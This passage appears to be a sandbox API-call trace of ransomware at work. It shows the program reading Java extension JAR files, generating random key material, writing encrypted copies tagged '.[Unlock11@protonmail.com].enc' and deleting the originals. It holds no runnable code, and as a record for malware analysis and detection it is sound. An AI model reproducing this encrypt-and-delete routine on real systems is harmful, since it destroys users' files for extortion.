[0132.410] GetLastError () returned 0x0 [0132.410] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6518 | out: hHeap=0x2ad0000) returned 1 [0132.410] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38873c8 | out: hHeap=0x2ad0000) returned 1 [0132.410] GetLastError () returned 0x0 [0132.411] GetLastError () returned 0x0 [0132.411] GetLastError () returned 0x0 [0132.411] GetLastError () returned 0x0 [0132.411] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0132.411] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x35d64d8 [0132.411] GetLastError () returned 0x0 [0132.411] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0132.412] GetFileType (hFile=0x3ac) returned 0x1 [0132.412] GetLastError () returned 0x0 [0132.412] GetCurrentThreadId () returned 0x9b0 [0132.412] GetLastError () returned 0x0 [0132.412] GetFileType (hFile=0x3ac) returned 0x1 [0132.412] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0132.412] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0132.412] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0132.413] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0132.413] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0132.413] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0132.413] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0132.413] GetLastError () returned 0x0 [0132.413] GetCurrentThreadId () returned 0x9b0 [0132.413] GetLastError () returned 0x0 [0132.413] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d64d8 | out: hHeap=0x2ad0000) returned 1 [0132.413] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa29d8 | out: hHeap=0x2ad0000) returned 1 [0132.413] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881138 [0132.413] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881138 | out: hHeap=0x2ad0000) returned 1 [0132.413] GetLastError () returned 0x0 [0132.413] GetLastError () returned 0x0 [0132.414] GetCurrentThreadId () returned 0x9b0 [0132.414] GetLastError () returned 0x0 [0132.414] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0132.414] GetLastError () returned 0x0 [0132.414] GetLastError () returned 0x0 [0132.414] GetCurrentThreadId () returned 0x9b0 [0132.414] GetLastError () returned 0x0 [0132.414] GetLastError () returned 0x0 [0132.416] GetLastError () returned 0x0 [0132.416] GetCurrentThreadId () returned 0x9b0 [0132.416] GetLastError () returned 0x0 [0132.416] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6398 | out: hHeap=0x2ad0000) returned 1 [0132.416] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x7fd8) returned 0x3700528 [0132.416] GetCurrentThreadId () returned 0x9b0 [0132.416] GetLastError () returned 0x0 [0132.416] GetLastError () returned 0x0 [0132.417] GetLastError () returned 0x0 [0132.417] GetLastError () returned 0x0 [0132.417] GetCurrentThreadId () returned 0x9b0 [0132.417] GetLastError () returned 0x0 [0132.417] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3700528 | out: hHeap=0x2ad0000) returned 1 [0132.417] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0132.417] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0132.417] GetLastError () returned 0x0 [0132.418] GetLastError () returned 0x0 [0132.418] GetCurrentThreadId () returned 0x9b0 [0132.419] GetLastError () returned 0x0 [0132.419] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0132.419] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0132.419] GetLastError () returned 0x0 [0132.419] GetLastError () returned 0x0 [0132.419] GetCurrentThreadId () returned 0x9b0 [0132.419] GetLastError () returned 0x0 [0132.419] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0132.419] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0132.419] GetLastError () returned 0x0 [0132.420] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0132.420] CloseHandle (hObject=0x3ac) returned 1 [0132.420] GetLastError () returned 0x0 [0132.420] GetCurrentThreadId () returned 0x9b0 [0132.420] GetLastError () returned 0x0 [0132.420] GetLastError () returned 0x0 [0132.420] CloseHandle (hObject=0x39c) returned 1 [0132.420] GetLastError () returned 0x0 [0132.421] GetCurrentThreadId () returned 0x9b0 [0132.421] GetLastError () returned 0x0 [0132.421] GetLastError () returned 0x0 [0132.421] GetLastError () returned 0x0 [0132.421] GetLastError () returned 0x0 [0132.421] GetLastError () returned 0x0 [0132.421] DeleteFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar")) returned 1 [0132.422] GetLastError () returned 0x0 [0132.422] GetCurrentThreadId () returned 0x9b0 [0132.422] GetLastError () returned 0x0 [0132.422] GetCurrentThreadId () returned 0x9b0 [0132.423] GetLastError () returned 0x0 [0132.423] GetLastError () returned 0x0 [0132.423] GetLastError () returned 0x0 [0132.423] GetLastError () returned 0x0 [0132.423] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar", lpFilePart=0x9bada4*="sunpkcs11.jar") returned 0x38 [0132.423] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0132.423] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0132.423] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0132.423] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0132.423] GetCurrentThreadId () returned 0x9b0 [0132.423] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5be0 [0132.424] GetLastError () returned 0x0 [0132.424] GetLastError () returned 0x0 [0132.424] GetLastError () returned 0x0 [0132.424] GetLastError () returned 0x0 [0132.424] GetCurrentThreadId () returned 0x9b0 [0132.424] GetLastError () returned 0x0 [0132.424] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5be0 | out: hHeap=0x2ad0000) returned 1 [0132.424] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5be0 [0132.424] GetLastError () returned 0x0 [0132.424] GetLastError () returned 0x0 [0132.425] GetLastError () returned 0x0 [0132.425] GetLastError () returned 0x0 [0132.425] GetCurrentThreadId () returned 0x9b0 [0132.425] GetLastError () returned 0x0 [0132.425] GetCurrentThreadId () returned 0x9b0 [0132.425] GetLastError () returned 0x0 [0132.425] GetLastError () returned 0x0 [0132.425] GetLastError () returned 0x0 [0132.425] GetLastError () returned 0x0 [0132.425] GetCurrentThreadId () returned 0x9b0 [0132.425] GetLastError () returned 0x0 [0132.426] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5be0 | out: hHeap=0x2ad0000) returned 1 [0132.426] GetCurrentThreadId () returned 0x9b0 [0132.426] GetCurrentThreadId () returned 0x9b0 [0132.426] GetCurrentThreadId () returned 0x9b0 [0132.426] GetCurrentThreadId () returned 0x9b0 [0132.426] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3d5bf)) returned 1 [0132.426] GetCurrentThreadId () returned 0x9b0 [0132.548] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366d3cc | out: pbBuffer=0x366d3cc) returned 1 [0132.548] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0132.548] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4ec8 [0132.548] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622688 | out: hHeap=0x2ad0000) returned 1 [0132.548] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5be0 [0132.548] GetCurrentThreadId () returned 0x9b0 [0132.549] GetCurrentThreadId () returned 0x9b0 [0132.549] GetCurrentThreadId () returned 0x9b0 [0132.549] GetCurrentThreadId () returned 0x9b0 [0132.549] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5be0 | out: hHeap=0x2ad0000) returned 1 [0132.549] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x35d6448 [0132.549] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a4ec8 | out: hHeap=0x2ad0000) returned 1 [0132.549] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0132.550] GetFileType (hFile=0x39c) returned 0x1 [0132.550] GetCurrentThreadId () returned 0x9b0 [0132.550] GetFileType (hFile=0x39c) returned 0x1 [0132.550] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0132.550] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0132.550] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0132.550] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0132.550] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0132.551] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0132.551] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0132.551] GetLastError () returned 0x0 [0132.551] GetCurrentThreadId () returned 0x9b0 [0132.551] GetLastError () returned 0x0 [0132.551] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6568 | out: hHeap=0x2ad0000) returned 1 [0132.551] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887920 | out: hHeap=0x2ad0000) returned 1 [0132.551] GetLastError () returned 0x0 [0132.551] GetLastError () returned 0x0 [0132.551] GetLastError () returned 0x0 [0132.552] GetLastError () returned 0x0 [0132.552] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0132.552] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x35d6468 [0132.552] GetLastError () returned 0x0 [0132.552] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0132.553] GetFileType (hFile=0x3ac) returned 0x1 [0132.553] GetLastError () returned 0x0 [0132.553] GetCurrentThreadId () returned 0x9b0 [0132.553] GetLastError () returned 0x0 [0132.553] GetFileType (hFile=0x3ac) returned 0x1 [0132.553] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0132.553] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0132.553] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0132.553] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0132.553] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0132.554] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0132.554] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0132.554] GetLastError () returned 0x0 [0132.554] GetCurrentThreadId () returned 0x9b0 [0132.554] GetLastError () returned 0x0 [0132.554] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6468 | out: hHeap=0x2ad0000) returned 1 [0132.554] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2bb8 | out: hHeap=0x2ad0000) returned 1 [0132.554] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881270 [0132.554] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0132.554] GetLastError () returned 0x0 [0132.554] GetLastError () returned 0x0 [0132.555] GetCurrentThreadId () returned 0x9b0 [0132.555] GetLastError () returned 0x0 [0132.555] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0132.555] GetLastError () returned 0x0 [0132.555] GetLastError () returned 0x0 [0132.555] GetCurrentThreadId () returned 0x9b0 [0132.555] GetLastError () returned 0x0 [0132.555] GetLastError () returned 0x0 [0132.557] GetLastError () returned 0x0 [0132.557] GetCurrentThreadId () returned 0x9b0 [0132.557] GetLastError () returned 0x0 [0132.558] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6448 | out: hHeap=0x2ad0000) returned 1 [0132.558] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0132.558] GetCurrentThreadId () returned 0x9b0 [0132.558] GetLastError () returned 0x0 [0132.559] GetLastError () returned 0x0 [0132.559] GetLastError () returned 0x0 [0132.559] GetLastError () returned 0x0 [0132.559] GetCurrentThreadId () returned 0x9b0 [0132.559] GetLastError () returned 0x0 [0132.559] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0132.559] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881108 [0132.559] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0132.560] GetLastError () returned 0x0 [0132.561] GetLastError () returned 0x0 [0132.561] GetCurrentThreadId () returned 0x9b0 [0132.561] GetLastError () returned 0x0 [0132.562] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0132.562] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0132.562] GetLastError () returned 0x0 [0132.562] GetLastError () returned 0x0 [0132.563] GetCurrentThreadId () returned 0x9b0 [0132.563] GetLastError () returned 0x0 [0132.563] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0132.563] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d6518 [0132.563] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6478 | out: hHeap=0x2ad0000) returned 1 [0132.563] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0132.563] GetCurrentThreadId () returned 0x9b0 [0132.563] GetLastError () returned 0x0 [0132.564] GetLastError () returned 0x0 [0132.564] GetLastError () returned 0x0 [0132.564] GetLastError () returned 0x0 [0132.564] GetCurrentThreadId () returned 0x9b0 [0132.564] GetLastError () returned 0x0 [0132.564] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0132.564] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0132.564] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0132.564] GetLastError () returned 0x0 [0132.565] GetLastError () returned 0x0 [0132.566] GetCurrentThreadId () returned 0x9b0 [0132.566] GetLastError () returned 0x0 [0132.566] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0132.566] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0132.566] GetLastError () returned 0x0 [0132.566] GetLastError () returned 0x0 [0132.574] GetCurrentThreadId () returned 0x9b0 [0132.574] GetLastError () returned 0x0 [0132.575] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0132.575] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d64c8 [0132.575] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6518 | out: hHeap=0x2ad0000) returned 1 [0132.575] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0132.575] GetCurrentThreadId () returned 0x9b0 [0132.575] GetLastError () returned 0x0 [0132.575] GetLastError () returned 0x0 [0132.576] GetLastError () returned 0x0 [0132.576] GetLastError () returned 0x0 [0132.576] GetCurrentThreadId () returned 0x9b0 [0132.576] GetLastError () returned 0x0 [0132.576] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0132.576] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0132.576] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0132.576] GetLastError () returned 0x0 [0132.577] GetLastError () returned 0x0 [0132.577] GetCurrentThreadId () returned 0x9b0 [0132.578] GetLastError () returned 0x0 [0132.578] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0132.578] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0132.578] GetLastError () returned 0x0 [0132.578] GetLastError () returned 0x0 [0132.578] GetCurrentThreadId () returned 0x9b0 [0132.578] GetLastError () returned 0x0 [0132.578] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0132.578] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x37bf790, Size=0xd5d5) returned 0x37bf790 [0132.579] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d6518 [0132.579] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d64c8 | out: hHeap=0x2ad0000) returned 1 [0132.579] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0xd5d8) returned 0x36f8548 [0132.579] GetCurrentThreadId () returned 0x9b0 [0132.579] GetLastError () returned 0x0 [0132.579] GetLastError () returned 0x0 [0132.579] GetLastError () returned 0x0 [0132.579] GetLastError () returned 0x0 [0132.580] GetCurrentThreadId () returned 0x9b0 [0132.580] GetLastError () returned 0x0 [0132.580] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0132.580] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0132.580] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0132.580] GetLastError () returned 0x0 [0132.581] GetLastError () returned 0x0 [0132.581] GetCurrentThreadId () returned 0x9b0 [0132.581] GetLastError () returned 0x0 [0132.581] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0132.581] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0132.581] GetLastError () returned 0x0 [0132.581] GetLastError () returned 0x0 [0132.582] GetCurrentThreadId () returned 0x9b0 [0132.582] GetLastError () returned 0x0 [0132.582] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0132.582] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0132.582] GetLastError () returned 0x0 [0132.582] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0132.582] CloseHandle (hObject=0x3ac) returned 1 [0132.583] GetLastError () returned 0x0 [0132.583] GetCurrentThreadId () returned 0x9b0 [0132.583] GetLastError () returned 0x0 [0132.583] GetLastError () returned 0x0 [0132.583] CloseHandle (hObject=0x39c) returned 1 [0132.583] GetLastError () returned 0x0 [0132.583] GetCurrentThreadId () returned 0x9b0 [0132.583] GetLastError () returned 0x0 [0132.583] GetLastError () returned 0x0 [0132.584] GetLastError () returned 0x0 [0132.584] GetLastError () returned 0x0 [0132.584] GetLastError () returned 0x0 [0132.584] DeleteFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar")) returned 1 [0132.586] GetLastError () returned 0x0 [0132.587] GetCurrentThreadId () returned 0x9b0 [0132.587] GetLastError () returned 0x0 [0132.587] GetCurrentThreadId () returned 0x9b0 [0132.587] GetLastError () returned 0x0 [0132.587] GetLastError () returned 0x0 [0132.587] GetLastError () returned 0x0 [0132.587] GetLastError () returned 0x0 [0132.587] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar", lpFilePart=0x9bada4*="zipfs.jar") returned 0x34 [0132.587] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0132.587] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0132.588] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0132.588] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e90 | out: hHeap=0x2ad0000) returned 1 [0132.588] GetCurrentThreadId () returned 0x9b0 [0132.588] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5be0 [0132.588] GetLastError () returned 0x0 [0132.588] GetLastError () returned 0x0 [0132.588] GetLastError () returned 0x0 [0132.588] GetLastError () returned 0x0 [0132.588] GetCurrentThreadId () returned 0x9b0 [0132.589] GetLastError () returned 0x0 [0132.589] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5be0 | out: hHeap=0x2ad0000) returned 1 [0132.589] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5be0 [0132.589] GetLastError () returned 0x0 [0132.589] GetLastError () returned 0x0 [0132.589] GetLastError () returned 0x0 [0132.589] GetLastError () returned 0x0 [0132.589] GetCurrentThreadId () returned 0x9b0 [0132.589] GetLastError () returned 0x0 [0132.589] GetCurrentThreadId () returned 0x9b0 [0132.590] GetLastError () returned 0x0 [0132.590] GetLastError () returned 0x0 [0132.590] GetLastError () returned 0x0 [0132.590] GetLastError () returned 0x0 [0132.590] GetCurrentThreadId () returned 0x9b0 [0132.590] GetLastError () returned 0x0 [0132.590] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5be0 | out: hHeap=0x2ad0000) returned 1 [0132.590] GetLastError () returned 0x0 [0132.590] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d60f0 | out: hHeap=0x2ad0000) returned 1 [0132.591] GetLastError () returned 0x0 [0132.591] GetLastError () returned 0x0 [0132.591] GetLastError () returned 0x0 [0132.591] GetCurrentThreadId () returned 0x9b0 [0132.591] GetLastError () returned 0x0 [0132.591] GetLastError () returned 0x0 [0132.591] GetLastError () returned 0x0 [0132.591] GetLastError () returned 0x0 [0132.591] GetLastError () returned 0x0 [0132.591] GetCurrentThreadId () returned 0x9b0 [0132.591] GetLastError () returned 0x0 [0132.592] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a3e8 | out: hHeap=0x2ad0000) returned 1 [0132.592] GetCurrentThreadId () returned 0x9b0 [0132.592] GetLastError () returned 0x0 [0132.592] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d63c0 | out: hHeap=0x2ad0000) returned 1 [0132.592] GetLastError () returned 0x0 [0132.592] GetLastError () returned 0x0 [0132.592] GetLastError () returned 0x0 [0132.592] GetCurrentThreadId () returned 0x9b0 [0132.592] GetLastError () returned 0x0 [0132.592] GetLastError () returned 0x0 [0132.593] GetLastError () returned 0x0 [0132.593] GetLastError () returned 0x0 [0132.593] GetLastError () returned 0x0 [0132.593] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0132.593] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, 